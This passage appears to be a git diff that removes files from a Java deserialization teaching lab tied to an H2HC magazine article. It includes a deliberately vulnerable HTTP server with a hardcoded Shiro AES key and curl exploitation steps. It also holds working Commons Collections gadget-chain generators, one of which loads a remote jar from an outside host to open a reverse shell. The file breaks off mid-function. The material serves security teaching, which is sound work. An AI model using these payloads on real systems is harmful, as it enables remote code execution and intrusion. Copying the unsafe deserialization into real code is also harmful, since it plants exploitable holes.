$ curl 127.0.0.1:8000 --data-binary @ObjectFile.ser
|
|
||||||
|
|
||||||
2) Base64 or Gzip+Base64 via HTTP POST parameters. Ex:
|
|
||||||
$ curl 127.0.0.1:8000 -d "ViewState=H4sICAeH..."
|
|
||||||
$ curl 127.0.0.1:8000 -d "ViewState=rO0ABXNy..."
|
|
||||||
|
|
||||||
3) Base64 or Gzip+Base64 in cookies. Ex:
|
|
||||||
$ curl 127.0.0.1:8000 -H "Cookie: JSESSIONID=H4sICAeH..."
|
|
||||||
$ curl 127.0.0.1:8000 -H "Cookie: JSESSIONID=rO0ABXNy..."
|
|
||||||
|
|
||||||
4) Base64 of AES-CBC encrypted with hardcoded Apache Shiro key. Ex:
|
|
||||||
$ curl 127.0.0.1:8000 -H "Cookie: rememberMe=MTIzNDU2Nzg...
|
|
||||||
|
|
||||||
5) XML for XStream RCE vulnerability/serialization. Ex:
|
|
||||||
$ curl 127.0.0.1:8000 -d @file.xml
|
|
||||||
|
|
||||||
OBS: To test gadgets in specific libraries, run with -cp param. Ex:
|
|
||||||
$ java -cp .:commons-collections-3.2.1.jar VulnerableHTTPServer
|
|
||||||
==================================================================
|
|
||||||
|
|
||||||
JRE Version: 1.8.0_77
|
|
||||||
[INFO]: Listening on port 8000
|
|
||||||
```
|
|
||||||
|
|
||||||
***Testing payloads***
|
|
||||||
|
|
||||||
Compiling example1 that works in applications with commons-collections3.2.1 in the classpath and JRE < 8u72:
|
|
||||||
|
|
||||||
```
|
|
||||||
$ javac -cp .:commons-collections-3.2.1.jar ExampleCommonsCollections1.java
|
|
||||||
```
|
|
||||||
|
|
||||||
Generating payload:
|
|
||||||
|
|
||||||
```
|
|
||||||
$ java -cp .:commons-collections-3.2.1.jar ExampleCommonsCollections1 'touch /tmp/h2hc_2017'
|
|
||||||
Saving serialized object in ExampleCommonsCollections1.ser
|
|
||||||
```
|
|
||||||
|
|
||||||
Exploiting vulnerable server:
|
|
||||||
|
|
||||||
Sending the payload in binary format via HTTP POST:
|
|
||||||
```
|
|
||||||
$ rm -rf /tmp/h2hc_2017
|
|
||||||
$ curl 127.0.0.1:8000/ --data-binary @ExampleCommonsCollections1.ser
|
|
||||||
Data deserialized!
|
|
||||||
$ ls -all /tmp/h2hc_2017
|
|
||||||
-rw-r--r-- 1 joao joao 0 Sep 13 22:34 /tmp/h2hc_2017
|
|
||||||
```
|
|
||||||
|
|
||||||
Sending the payload in Gzip+Base64 format via HTTP Cookies:
|
|
||||||
```
|
|
||||||
$ rm -rf /tmp/h2hc_2017
|
|
||||||
$ gzip ExampleCommonsCollections1.ser
|
|
||||||
$ base64 -w0 ExampleCommonsCollections1.ser.gz
|
|
||||||
$ curl 127.0.0.1:8000/ -H "cookie: JSESSIONID=H4sICMeVuVkAA0V4YW1wbGVDb21tb25zQ29sbGVjdGlvbnMxLnNlcgCVVD1MFEEUfrd3iKDEAxVNiITGqER2kZhIuEKRBCFZlCAS4hU67M3dLuzOrjOz5x0ohY0tBQmxUQut/EmMtYWxMBEl0UZDZ2HURBMtrHVmd+9uAf+44u7tzfu+933vvdn7X6GOUehhPlEpztvY4CoixOWIWy5R+6vhMCm6RhANIZKzMT334seO3cvzdxVQdNjuYGcK0wlk+5hx2KFPoyLSfG7Z2gjyMjqkeNnDHJrDAxuRgjZgI8YyJY9dBYAENMkTVUJUASlR2BP8IVOrykapWyq/P7Da8TI9sKxAQoeEyWF/jDTK1DbIlYUuwTyAcNvp0oKKPGSYWDVcx3EJE7+2BFoydpCn6mi2LHSQD4vXbpbTi0lZrD6PDO7SMofDuqDQQgototBiFNo4RYTlXeqElSn0/aNm3ieSm6kDJrIIzsUIup8vfTk4u5QShrPQZMVORKu7spuT4tMI8jcxcciTic7v747uvaEAlDwxqZQwk/lvM+KJI8JjhJPFheZ+5dFiML4Gq5LBoSU2xjNT04JLyC1SaK7twZhPuOVgqH0211u5FTOYxtRc//RzZu7KSq8CySzUWf20IHq6M7tRig7brBHMTTd3Gjl4rdqznFqkkMmKlFFEkTMudl3QtGR/s+2i/xF9aCmiX1iZvJVmh+xKlxUOjQXMI8MC1BIHhWT3Wt8+XH51vjoZ4NAgMKFKXy57u2QSLUzXoKHW29/u9M5mHp8MoMUgNbgdrQGsTcK8aih4t1hB5/5EGppYM5aAtG0daWK9+6hzD95MfPy8b+5UxUmSQ702ZRGNieutdAnqXdz1DbND446nmT2mcaGn+8gxDilcwkZVVSIoqrHKzgQvkyHETHGR6+pXnz5rvfg6CcogNNouyg0Gl3kYGrhJMTNdO1fyjp8I9V/eKr7SgZOSsNpeUxx7OY5hjomM1hiXEvp+AaGU2MlXBQAA"
|
|
||||||
Data deserialized!
|
|
||||||
$ ls -all /tmp/h2hc_2017
|
|
||||||
-rw-r--r-- 1 joao joao 0 Sep 13 22:47 /tmp/h2hc_2017
|
|
||||||
```
|
|
||||||
@ -1,143 +0,0 @@
|
|||||||
import org.apache.commons.collections.Transformer;
|
|
||||||
import org.apache.commons.collections.functors.ChainedTransformer;
|
|
||||||
import org.apache.commons.collections.functors.ConstantTransformer;
|
|
||||||
import org.apache.commons.collections.functors.InstantiateTransformer;
|
|
||||||
import org.apache.commons.collections.functors.InvokerTransformer;
|
|
||||||
import org.apache.commons.collections.keyvalue.TiedMapEntry;
|
|
||||||
import org.apache.commons.collections.map.LazyMap;
|
|
||||||
|
|
||||||
import java.io.*;
|
|
||||||
import java.lang.reflect.*;
|
|
||||||
import java.net.URL;
|
|
||||||
import java.net.URLClassLoader;
|
|
||||||
import java.util.HashMap;
|
|
||||||
import java.util.HashSet;
|
|
||||||
import java.util.Map;
|
|
||||||
|
|
||||||
/**
|
|
||||||
* Gera payload com gadget chain para carregar e executar uma classe remota
|
|
||||||
* (hospedada pelo testador). Neste exemplo, é usada a classe JexReverse,
|
|
||||||
* do componente http://www.joaomatosf.com/rnp/java_files/JexRemoteTools.jar,
|
|
||||||
* a fim de obter uma reverse shell independente de plataforma (Windows ou *nix).
|
|
||||||
* Neste exemplo é usado um HashMap como trigger gadget, o qual permite atingir
|
|
||||||
* o método hashCode de um TiedMapEntry que, por sua vez, aciona o método .get()
|
|
||||||
* de um LazyMap decorado com a ChainedTransformers.
|
|
||||||
* Esse trigger (HashMap+TiedMapEntry) foi proposto por Matthias Kaiser.
|
|
||||||
*
|
|
||||||
*
|
|
||||||
* -----------------------------------------------------------------------
|
|
||||||
* Mais detalhes na 12a edição da H2HC (hackers to hackers) magazine:
|
|
||||||
* https://www.h2hc.com.br/revista/
|
|
||||||
* -----------------------------------------------------------------------
|
|
||||||
*
|
|
||||||
* OBS: Esse código tem fins apenas didáticos.
|
|
||||||
*
|
|
||||||
**** USAGE ****
|
|
||||||
*
|
|
||||||
* Compilando:
|
|
||||||
* $ javac -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap.java
|
|
||||||
*
|
|
||||||
* Executando
|
|
||||||
* $ java -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap SEU_IP:SUA_PORTA
|
|
||||||
*
|
|
||||||
* @author @joaomatosf
|
|
||||||
*/
|
|
||||||
public class ReverseShellCommonsCollectionsHashMap {
|
|
||||||
@SuppressWarnings ( {"unchecked"} )
|
|
||||||
public static void main(String[] args)
|
|
||||||
throws ClassNotFoundException, NoSuchMethodException, InstantiationException,
|
|
||||||
IllegalAccessException, IllegalArgumentException, InvocationTargetException, IOException, NoSuchFieldException {
|
|
||||||
|
|
||||||
String remoteJar = "http://www.joaomatosf.com/rnp/java_files/JexRemoteTools.jar";
|
|
||||||
String host = null;
|
|
||||||
int port = 1331;
|
|
||||||
|
|
||||||
// Verifica se o usuário forneceu o comando a ser executado
|
|
||||||
if (args.length != 1 || args[0].split(":").length != 2 ) {
|
|
||||||
System.out.println("Invalid params! \n" +
|
|
||||||
"Example usage: java -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap \"REMOTE_IP:PORT\"");
|
|
||||||
System.exit(1);
|
|
||||||
}
|
|
||||||
host = args[0].split(":")[0];
|
|
||||||
port = Integer.parseInt(args[0].split(":")[1]);
|
|
||||||
|
|
||||||
Transformer[] transformers = new Transformer[] {
|
|
||||||
|
|
||||||
new ConstantTransformer(URLClassLoader.class),
|
|
||||||
new InstantiateTransformer(
|
|
||||||
new Class[]{
|
|
||||||
URL[].class
|
|
||||||
},
|
|
||||||
new Object[]{
|
|
||||||
new URL[]{new URL(remoteJar)}
|
|
||||||
}),
|
|
||||||
new InvokerTransformer("loadClass",
|
|
||||||
new Class[]{
|
|
||||||
String.class
|
|
||||||
},
|
|
||||||
new Object[]{
|
|
||||||
"JexReverse"
|
|
||||||
}),
|
|
||||||
new InstantiateTransformer(
|
|
||||||
new Class[]{ String.class, int.class },
|
|
||||||
new Object[]{ host, port }
|
|
||||||
)
|
|
||||||
};
|
|
||||||
|
|
||||||
// Cria o objeto ChainedTransformer com o array de Transformers:
|
|
||||||
Transformer transformerChain = new ChainedTransformer(transformers);
|
|
||||||
// Cria o map
|
|
||||||
Map map1 = new HashMap();
|
|
||||||
// Decora o map com o LazyMap e a cadeia de transformações como factory
|
|
||||||
Map lazyMap = LazyMap.decorate(map1,transformerChain);
|
|
||||||
|
|
||||||
TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo");
|
|
||||||
|
|
||||||
HashSet map = new HashSet(1);
|
|
||||||
map.add("foo");
|
|
||||||
Field f = null;
|
|
||||||
try {
|
|
||||||
f = HashSet.class.getDeclaredField("map");
|
|
||||||
} catch (NoSuchFieldException e) {
|
|
||||||
f = HashSet.class.getDeclaredField("backingMap");
|
|
||||||
}
|
|
||||||
|
|
||||||
f.setAccessible(true);
|
|
||||||
HashMap innimpl = (HashMap) f.get(map);
|
|
||||||
|
|
||||||
Field f2 = null;
|
|
||||||
try {
|
|
||||||
f2 = HashMap.class.getDeclaredField("table");
|
|
||||||
} catch (NoSuchFieldException e) {
|
|
||||||
f2 = HashMap.class.getDeclaredField("elementData");
|
|
||||||
}
|
|
||||||
|
|
||||||
f2.setAccessible(true);
|
|
||||||
Object[] array = (Object[]) f2.get(innimpl);
|
|
||||||
|
|
||||||
Object node = array[0];
|
|
||||||
if(node == null){
|
|
||||||
node = array[1];
|
|
||||||
}
|
|
||||||
|
|
||||||
Field keyField = null;
|
|
||||||
try{
|
|
||||||
keyField = node.getClass().getDeclaredField("key");
|
|
||||||
}catch(Exception e){
|
|
||||||
keyField = Class.forName("java.util.MapEntry").getDeclaredField("key");
|
|
||||||
}
|
|
||||||
|
|
||||||
keyField.setAccessible(true);
|
|
||||||
keyField.set(node, entry);
|
|
||||||
|
|
||||||
// Serializa o objeto
|
|
||||||
System.out.println("Saving serialized object in ReverseShellCommonsCollectionsHashMap.ser");
|
|
||||||
FileOutputStream fos = new FileOutputStream("ReverseShellCommonsCollectionsHashMap.ser");
|
|
||||||
ObjectOutputStream oos = new ObjectOutputStream(fos);
|
|
||||||
oos.writeObject(map);
|
|
||||||
oos.flush();
|
|
||||||
|
|
||||||
|
|
||||||
}
|
|
||||||
|
|
||||||
}
|
|
||||||
@ -1,105 +0,0 @@
|
|||||||
import org.apache.commons.collections.Transformer;
|
|
||||||
import org.apache.commons.collections.functors.ChainedTransformer;
|
|
||||||
import org.apache.commons.collections.functors.ConstantTransformer;
|
|
||||||
import org.apache.commons.collections.functors.InvokerTransformer;
|
|
||||||
import org.apache.commons.collections.map.LazyMap;
|
|
||||||
|
|
||||||
import java.io.*;
|
|
||||||
import java.lang.*;
|
|
||||||
import java.lang.annotation.Retention;
|
|
||||||
import java.lang.reflect.Constructor;
|
|
||||||
import java.lang.reflect.InvocationHandler;
|
|
||||||
import java.lang.reflect.InvocationTargetException;
|
|
||||||
import java.lang.reflect.Proxy;
|
|
||||||
import java.util.*;
|
|
||||||
/**
|
|
||||||
* Gera payload com gadget chain para forçar um Sleep na aplicação.
|
|
||||||
* Note que esse payload requer que a commons-collections vulnerável esteja
|
|
||||||
* disponível no classpath (<= 3.2.1) e deverá funcionar em sistemas com
|
|
||||||
* JRE < 8u72. Em versões maiores, deve-se usufruir de outro gadget como trigger
|
|
||||||
* (eg. BadAttributeValueExpException ou HashMap + TiedMapEntry).
|
|
||||||
*
|
|
||||||
* -----------------------------------------------------------------------
|
|
||||||
* Mais detalhes na 12a edição da H2HC (hackers to hackers) magazine:
|
|
||||||
* https://www.h2hc.com.br/revista/
|
|
||||||
* -----------------------------------------------------------------------
|
|
||||||
*
|
|
||||||
* OBS: Esse código tem fins apenas didáticos. Algumas cadeias de
|
|
||||||
* transformers são baseadas nas versões de Chris Frohoff e/ou Matthias Kaiser
|
|
||||||
*
|
|
||||||
**** USAGE ****
|
|
||||||
*
|
|
||||||
* Compilando:
|
|
||||||
* $ javac -cp .:commons-collections-3.2.1.jar SleepExample.java
|
|
||||||
*
|
|
||||||
* Executando
|
|
||||||
* $ java -cp .:commons-collections-3.2.1.jar SleepExample
|
|
||||||
*
|
|
||||||
*
|
|
||||||
* @author @joaomatosf
|
|
||||||
*/
|
|
||||||
public class SleepExample {
|
|
||||||
@SuppressWarnings ( {"unchecked"} )
|
|
||||||
public static void main(String[] args)
|
|
||||||
throws ClassNotFoundException, NoSuchMethodException, InstantiationException,
|
|
||||||
IllegalAccessException, IllegalArgumentException, InvocationTargetException, IOException {
|
|
||||||
|
|
||||||
// Cria array de Transformers que irá resultar na seguinte construção:
|
|
||||||
//Thread.class.getMethod("sleep", new Class[]{Long.TYPE}).invoke(null, new Object[]{10000L});
|
|
||||||
Transformer[] transformers = new Transformer[] {
|
|
||||||
new ConstantTransformer(Thread.class), // retorna class Thread.class
|
|
||||||
// 1o. Objeto InvokerTransformer: getMethod("sleep", new Class[]{Long.TYPE})
|
|
||||||
new InvokerTransformer(
|
|
||||||
"getMethod", // invoca método getMethod
|
|
||||||
( new Class[] {String.class, Class[].class } ), // tipos dos parâmetros: (String, Class[])
|
|
||||||
( new Object[] {"sleep", new Class[]{Long.TYPE} } ) // parâmetros: (sleep, new Class[]{Long.TYPE})
|
|
||||||
),
|
|
||||||
// 2o. Objeto InvokerTransformer: invoke(null, new Object[]{10000L})
|
|
||||||
new InvokerTransformer(
|
|
||||||
"invoke", // invoca método: invoke
|
|
||||||
(new Class[] {Object.class, Object[].class }),// tipos dos parâmetros: (Object.class, Object[])
|
|
||||||
(new Object[] {null, new Object[] {10000L} }) // parâmetros: (null, new Object[] {10000L})
|
|
||||||
)
|
|
||||||
};
|
|
||||||
|
|
||||||
// Cria o objeto ChainedTransformer com o array de Transformers:
|
|
||||||
Transformer transformerChain = new ChainedTransformer(transformers);
|
|
||||||
// Cria o map
|
|
||||||
Map map = new HashMap();
|
|
||||||
// Decora o map com o LazyMap e a cadeia de transformações como factory
|
|
||||||
Map lazyMap = LazyMap.decorate(map,transformerChain);
|
|
||||||
|
|
||||||
// Usa reflexão para obter referencia da classe AnnotationInvocationHandler
|
|
||||||
Class cl = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
|
|
||||||
// Obtem construtor da AnnotationInvocationHandler que recebe um tipo (class) e um Map
|
|
||||||
Constructor ctor = cl.getDeclaredConstructor(Class.class, Map.class);
|
|
||||||
// Torna o construtor acessível
|
|
||||||
ctor.setAccessible(true);
|
|
||||||
// Obtem/Cria instancia do AnnotationInvocationHandler, fornecendo (via construtor) um Retetion.class (que eh um
|
|
||||||
// type Annotation, requerido pelo construtor) e atribui o LazyMap (contendo a cadeia de Transformers) ao campo
|
|
||||||
// memberValues. Assim, ao tentar obter uma chave inexiste deste campo, a cadeia será "executada"!
|
|
||||||
InvocationHandler handlerLazyMap = (InvocationHandler) ctor.newInstance(Retention.class, lazyMap);
|
|
||||||
|
|
||||||
//cria a interface map
|
|
||||||
Class[] interfaces = new Class[] {java.util.Map.class};
|
|
||||||
// cria o Proxy "entre" a interface Map e o AnnotationInvocationHandler anterior (que contém o lazymap+transformers)
|
|
||||||
Map proxyMap = (Map) Proxy.newProxyInstance(null, interfaces, handlerLazyMap);
|
|
||||||
|
|
||||||
// cria outro AnnotationInvocationHandler atribui o Proxy ao campo memberValues
|
|
||||||
// esse Proxy será "acionado" no magic method readObject e, assim, desviará o fluxo para o
|
|
||||||
// método invoke() do primeiro AnnotationInvocationHandler criado (que contém o LazyMap+Transformers)
|
|
||||||
InvocationHandler handlerProxy = (InvocationHandler) ctor.newInstance(Retention.class, proxyMap);
|
|
||||||
|
|
||||||
// Serializa o objeto "handlerProxy" e o salva em arquivo. Ao ser desserializado,
|
|
||||||
// o readObject irá executar um map.entrySet() e, assim, desviar o fluxo para o invoke().
|
|
||||||
// No invoke(), uma chave inexistente será buscada no campo "memberValues" (que contém um LazyMap
|
|
||||||
// com a cadeia de Transformers), o que deverá acionar o Thread.sleep(10000)!
|
|
||||||
System.out.println("Saving serialized object in SleepExample.ser");
|
|
||||||
FileOutputStream fos = new FileOutputStream("SleepExample.ser");
|
|
||||||
ObjectOutputStream oos = new ObjectOutputStream(fos);
|
|
||||||
oos.writeObject(handlerProxy);
|
|
||||||
oos.flush();
|
|
||||||
|
|
||||||
}
|
|
||||||
|
|
||||||
}
|
|
||||||
@ -1,42 +0,0 @@
|
|||||||
import java.io.Serializable;
|
|
||||||
import java.lang.reflect.InvocationHandler;
|
|
||||||
import java.lang.reflect.Method;
|
|
||||||
|
|
||||||
/**
|
|
||||||
* Um dos gadgets usados no exemplo didático que demonstra como desviar o
|
|
||||||
* fluxo de execucão durante a desserialização (utilizando Dynamic Proxy).
|
|
||||||
* O método invoke() desta classe é alcançado quando o readObject da classe
|
|
||||||
* ForgottenClass invoca um método em um campo controlado pelo usuário (map.entrySet())
|
|
||||||
* O campo irá conter um Proxy entre a interface Map e este InvocationHandler.
|
|
||||||
*
|
|
||||||
* -----------------------------------------------------------------------
|
|
||||||
* Mais detalhes na 12a edição da H2HC (hackers to hackers) magazine:
|
|
||||||
* https://www.h2hc.com.br/revista/
|
|
||||||
* -----------------------------------------------------------------------
|
|
||||||
*
|
|
||||||
*
|
|
||||||
* @author @joaomatosf
|
|
||||||
*/
|
|
||||||
public class SomeInvocationHandler implements InvocationHandler, Serializable {
|
|
||||||
|
|
||||||
private String cmd;
|
|
||||||
|
|
||||||
// metodo invoke não é um magic method (ou seja, *não* é invocado automaticamente
|
|
||||||
// durante a desserialização. Porém, pode ser alcançado por meio de um Dynamic Proxy.
|
|
||||||
@Override
|
|
||||||
public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
|
|
||||||
System.out.println("-------------------------------------------");
|
|
||||||
System.out.println("Invoke method reached! This method can do something dangerous!");
|
|
||||||
Runtime.getRuntime().exec(cmd);
|
|
||||||
return null;
|
|
||||||
}
|
|
||||||
|
|
||||||
// magic method invocado automaticamente durante a desserialização de objetos
|
|
||||||
// deste tipo
|
|
||||||
private void readObject(java.io.ObjectInputStream s)
|
|
||||||
throws java.io.IOException, ClassNotFoundException {
|
|
||||||
s.defaultReadObject();
|
|
||||||
System.out.println("-------------------------------------------");
|
|
||||||
System.out.println("The flow is in SomeInvocationHandler.readObject()");
|
|
||||||
}
|
|
||||||
}
|
|
||||||
@ -1,42 +0,0 @@
|
|||||||
import java.io.*;
|
|
||||||
/**
|
|
||||||
* Exemplo simples que demonstra a desserialização nativa de um objeto
|
|
||||||
* salvo em um arquivo. Observe que, durante a desserialização, o método
|
|
||||||
* readObject da classe Alien (que é o tipo do Objeto sendo desserializado)
|
|
||||||
* é automaticamente invocado - por isso, chamado de magic method.
|
|
||||||
*
|
|
||||||
* -----------------------------------------------------------------------
|
|
||||||
* Mais detalhes na 12a edição da H2HC (hackers to hackers) magazine:
|
|
||||||
* https://www.h2hc.com.br/revista/
|
|
||||||
* ----------------------------------------------------------------------- *
|
|
||||||
*
|
|
||||||
* **** USAGE ****
|
|
||||||
*
|
|
||||||
* Compilando:
|
|
||||||
* $ javac TestDeserialize.java
|
|
||||||
*
|
|
||||||
* Executando
|
|
||||||
* $ java TestDeserialize
|
|
||||||
*
|
|
||||||
* OBS: lembre de executar o exemplo TestSerialize antes, de forma
|
|
||||||
* a gerar o objeto serializado no arquivo (ET_object.ser), que
|
|
||||||
* será desserializado por este exemplo.
|
|
||||||
*
|
|
||||||
*
|
|
||||||
* @author @joaomatosf
|
|
||||||
*/
|
|
||||||
public class TestDeserialize {
|
|
||||||
|
|
||||||
public static void main(String[] args)
|
|
||||||
throws IOException, ClassNotFoundException {
|
|
||||||
// Obtem stream de bytes a partir do arquivo salvo em disco
|
|
||||||
FileInputStream fis = new FileInputStream("ET_object.ser");
|
|
||||||
ObjectInputStream ois = new ObjectInputStream(fis);
|
|
||||||
// Realiza a desserialização! Nesse momento, os magic methods da classe
|
|
||||||
// Alien serão automaticamente invocados! (ie. readObject)
|
|
||||||
Alien ET = (Alien) ois.readObject(); // <-- Realiza a desserializacao
|
|
||||||
System.out.println("Hi, I'm "+ET.name+" from "+ET.source);
|
|
||||||
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
@ -1,44 +0,0 @@
|
|||||||
import java.io.FileOutputStream;
|
|
||||||
import java.io.IOException;
|
|
||||||
import java.io.ObjectOutputStream;
|
|
||||||
/**
|
|
||||||
* Exemplo simples que demonstra a serializacao nativa de um objeto
|
|
||||||
* e o salva em um arquivo. Observe que, durante a serializacao, o método
|
|
||||||
* writeObject da classe Alien (que é o tipo do Objeto sendo serializado)
|
|
||||||
* é automaticamente invocado.
|
|
||||||
*
|
|
||||||
* -----------------------------------------------------------------------
|
|
||||||
* Mais detalhes na 12a edição da H2HC (hackers to hackers) magazine:
|
|
||||||
* https://www.h2hc.com.br/revista/
|
|
||||||
* -----------------------------------------------------------------------
|
|
||||||
*
|
|
||||||
* **** USAGE ****
|
|
||||||
*
|
|
||||||
* Compilando:
|
|
||||||
* $ javac TestSerialize.java
|
|
||||||
*
|
|
||||||
* Executando
|
|
||||||
* $ java TestSerialize
|
|
||||||
*
|
|
||||||
* @author @joaomatosf
|
|
||||||
*/
|
|
||||||
public class TestSerialize {
|
|
||||||
|
|
||||||
public static void main(String[] args)
|
|
||||||
throws IOException {
|
|
||||||
|
|
||||||
// Instancia objeto a ser serializado e atribui
|
|
||||||
// valores aos seus campos "name" e "source"
|
|
||||||
Alien ET = new Alien();
|
|
||||||
ET.name = "Abu ce taí";
|
|
||||||
ET.source = "Andromeda Galaxy";
|
|
||||||
|
|
||||||
// Cria FileOutputStream para armazenar o objeto serializado em um arquivo
|
|
||||||
FileOutputStream fos = new FileOutputStream("ET_object.ser");
|
|
||||||
ObjectOutputStream oos = new ObjectOutputStream(fos);
|
|
||||||
oos.writeObject(ET); // <-- Realiza a serializacao
|
|
||||||
oos.flush();
|
|
||||||
oos.close();
|
|
||||||
|
|
||||||
}
|
|
||||||
}
|
|
||||||
@ -1,402 +0,0 @@
|
|||||||
import com.sun.net.httpserver.HttpExchange;
|
|
||||||
import com.sun.net.httpserver.HttpHandler;
|
|
||||||
import com.sun.net.httpserver.HttpServer;
|
|
||||||
|
|
||||||
import sun.misc.BASE64Decoder;
|
|
||||||
|
|
||||||
import javax.crypto.Cipher;
|
|
||||||
import javax.crypto.spec.IvParameterSpec;
|
|
||||||
import javax.crypto.spec.SecretKeySpec;
|
|
||||||
import java.io.*;
|
|
||||||
import java.lang.annotation.IncompleteAnnotationException;
|
|
||||||
import java.lang.reflect.Constructor;
|
|
||||||
import java.lang.reflect.Method;
|
|
||||||
import java.net.InetSocketAddress;
|
|
||||||
import java.net.URLDecoder;
|
|
||||||
//this import is only for java 1.8
|
|
||||||
//import java.util.Base64;
|
|
||||||
import java.security.Key;
|
|
||||||
import java.util.zip.GZIPInputStream;
|
|
||||||
|
|
||||||
/**
|
|
||||||
* Simples Servidor HTTP que desserializa dados recebidos nos seguintes formatos:
|
|
||||||
*
|
|
||||||
* 1) via HTTP POST em formato binário (ou seja, \xAC\xED)
|
|
||||||
* 2) via HTTP POST como valor de algum parâmetro (eg. "ViewState") nos formatos 1) base64 (rO0...) ou 2) gzip+base64 (H4sI...)
|
|
||||||
* 3) via cookies (header cookie) nos formatos base64 (rO0) ou gzip+base64 (H4sI) (eg. Cookie: JSESSIONID=rO0... ou Cookie: JSESSIONID=H4sI...)
|
|
||||||
* 4) via Cookie rememberMe (like Apache Shiro), criptografado com aes-128-cbc e chave hardcoded
|
|
||||||
* 5) via XML para explorar o XStream
|
|
||||||
*
|
|
||||||
* Após a desserialização, ele tenta fazer um cast para Integer, a fim de simular o que
|
|
||||||
* ocorre em um servidor "real" (erro de casting após a desserialização)
|
|
||||||
*
|
|
||||||
*
|
|
||||||
* OBS: Sobre Apache Shiro, ver:
|
|
||||||
* https://github.com/apache/shiro/blob/master/crypto/cipher/src/main/java/org/apache/shiro/crypto/JcaCipherService.java
|
|
||||||
* https://github.com/apache/shiro/blob/8acc82ab4775b3af546e3bbde928f299be62dc23/integration-tests/guice3/src/main/webapp/WEB-INF/shiro.ini
|
|
||||||
* Para geracao do payload, use CommonsCollections2 ou CommonsCollections4 do ysoserial e criptografe com aes-128-cbc
|
|
||||||
* Se preferir, existem mtos sccripts prontos para geracao do payload, veja:
|
|
||||||
* ex: https://github.com/leveryd/vulndocker/blob/78ba54edbd2dd81f09bb6d3f03a446555e6b7614/vuln/shiro/shirotest.py
|
|
||||||
* Análise: http://www.freebuf.com/articles/system/125187.html
|
|
||||||
*
|
|
||||||
* -----------------------------------------------------------------------
|
|
||||||
* Mais detalhes na 12a edição da H2HC (hackers to hackers) magazine:
|
|
||||||
* https://www.h2hc.com.br/revista/
|
|
||||||
* -----------------------------------------------------------------------
|
|
||||||
*
|
|
||||||
* **** USAGE ****
|
|
||||||
*
|
|
||||||
* Compilando:
|
|
||||||
* $ javac VulnerableHTTPServer.java -XDignore.symbol.file
|
|
||||||
*
|
|
||||||
* Executando
|
|
||||||
* $ java VulnerableHTTPServer
|
|
||||||
*
|
|
||||||
* Ou, caso deseje testar payloads para explorar gadgets de bibliotecas específicas, use o -cp. Exs:
|
|
||||||
* $ java -cp .:commons-collections-3.2.1.jar VulnerableHTTPServer
|
|
||||||
* $ java -cp .:xstream-1.4.6.jar:commons-collections-3.2.1.jar VulnerableHTTPServer
|
|
||||||
*
|
|
||||||
* @author @joaomatosf
|
|
||||||
*/
|
|
||||||
|
|
||||||
public class VulnerableHTTPServer {
|
|
||||||
|
|
||||||
public static void banner(){
|
|
||||||
System.out.println("* =============================================================== *");
|
|
||||||
System.out.println("* Simple Java HTTP Server for Deserialization Lab v0.01 *");
|
|
||||||
System.out.println("* https://github.com/joaomatosf/JavaDeserH2HC *");
|
|
||||||
System.out.println("* =============================================================== *");
|
|
||||||
System.out.println("You can inject java serialized objects in the following formats:");
|
|
||||||
System.out.println(
|
|
||||||
"\n 1) Binary in HTTP POST (ie \\xAC\\xED). Ex:\n" +
|
|
||||||
" $ curl 127.0.0.1:8000 --data-binary @ObjectFile.ser\n"+
|
|
||||||
"\n 2) Base64 or Gzip+Base64 via HTTP POST parameters. Ex:\n" +
|
|
||||||
" $ curl 127.0.0.1:8000 -d \"ViewState=rO0ABXNy...\"\n"+
|
|
||||||
" $ curl 127.0.0.1:8000 -d \"ViewState=H4sICAeH...\"\n"+
|
|
||||||
"\n 3) Base64 or Gzip+Base64 in cookies. Ex:\n"+
|
|
||||||
" $ curl 127.0.0.1:8000 -H \"Cookie: JSESSIONID=rO0ABXNy...\"\n"+
|
|
||||||
" $ curl 127.0.0.1:8000 -H \"Cookie: JSESSIONID=H4sICAeH...\"\n"+
|
|
||||||
"\n 4) Base64 of AES-CBC encrypted with hardcoded Apache Shiro key. Ex:\n" +
|
|
||||||
" $ curl 127.0.0.1:8000 -H \"Cookie: rememberMe=MTIzNDU2Nzg...\"\n"+
|
|
||||||
"\n 5) XML for XStream RCE vulnerability/serialization. Ex:\n" +
|
|
||||||
" $ curl 127.0.0.1:8000 -d @file.xml\n -H \"Content-Type: application/xml\"");
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
System.out.println("OBS: To test gadgets in specific libraries, run with -cp param. Ex:\n" +
|
|
||||||
"$ java -cp .:commons-collections-3.2.1.jar VulnerableHTTPServer");
|
|
||||||
System.out.println("==================================================================");
|
|
||||||
|
|
||||||
}
|
|
||||||
|
|
||||||
public static void main(String[] args) throws IOException {
|
|
||||||
banner();
|
|
||||||
int port = 8000;
|
|
||||||
HttpServer server = HttpServer.create(new InetSocketAddress(port), 0);
|
|
||||||
server.createContext("/", new HTTPHandler());
|
|
||||||
server.setExecutor(null); // creates a default executor
|
|
||||||
server.start();
|
|
||||||
System.out.println("\nJRE Version: "+System.getProperty("java.version"));
|
|
||||||
System.out.println("[INFO]: Listening on port "+port);
|
|
||||||
System.out.println();
|
|
||||||
}
|
|
||||||
|
|
||||||
|
|
||||||
static class HTTPHandler implements HttpHandler {
|
|
||||||
|
|
||||||
String aesHardedCodeKey = "kPH+bIxk5D2deZiIxcaaaA==";
|
|
||||||
|
|
||||||
public void handle(HttpExchange t) throws IOException {
|
|
||||||
|
|
||||||
System.out.println("[INFO]: Received "+t.getRequestMethod()+" "+t.getRequestURI()+" from: "+t.getRemoteAddress());
|
|
||||||
|
|
||||||
String responseMsg = null;
|
|
||||||
boolean containsCookie = t.getRequestHeaders().containsKey("cookie");
|
|
||||||
|
|
||||||
// if there's a cookie with serialized java object
|
|
||||||
if (containsCookie){
|
|
||||||
String object = t.getRequestHeaders().get("cookie").get(0);
|
|
||||||
object = getObjectValue(object);
|
|
||||||
|
|
||||||
if (object.startsWith("H4sI") || object.startsWith("rO0") )
|
|
||||||
responseMsg = deserialize(object);
|
|
||||||
else { // try deserialize aes-cbc encrypted object
|
|
||||||
|
|
||||||
byte[] plainText = decryptAES(object,aesHardedCodeKey);
|
|
||||||
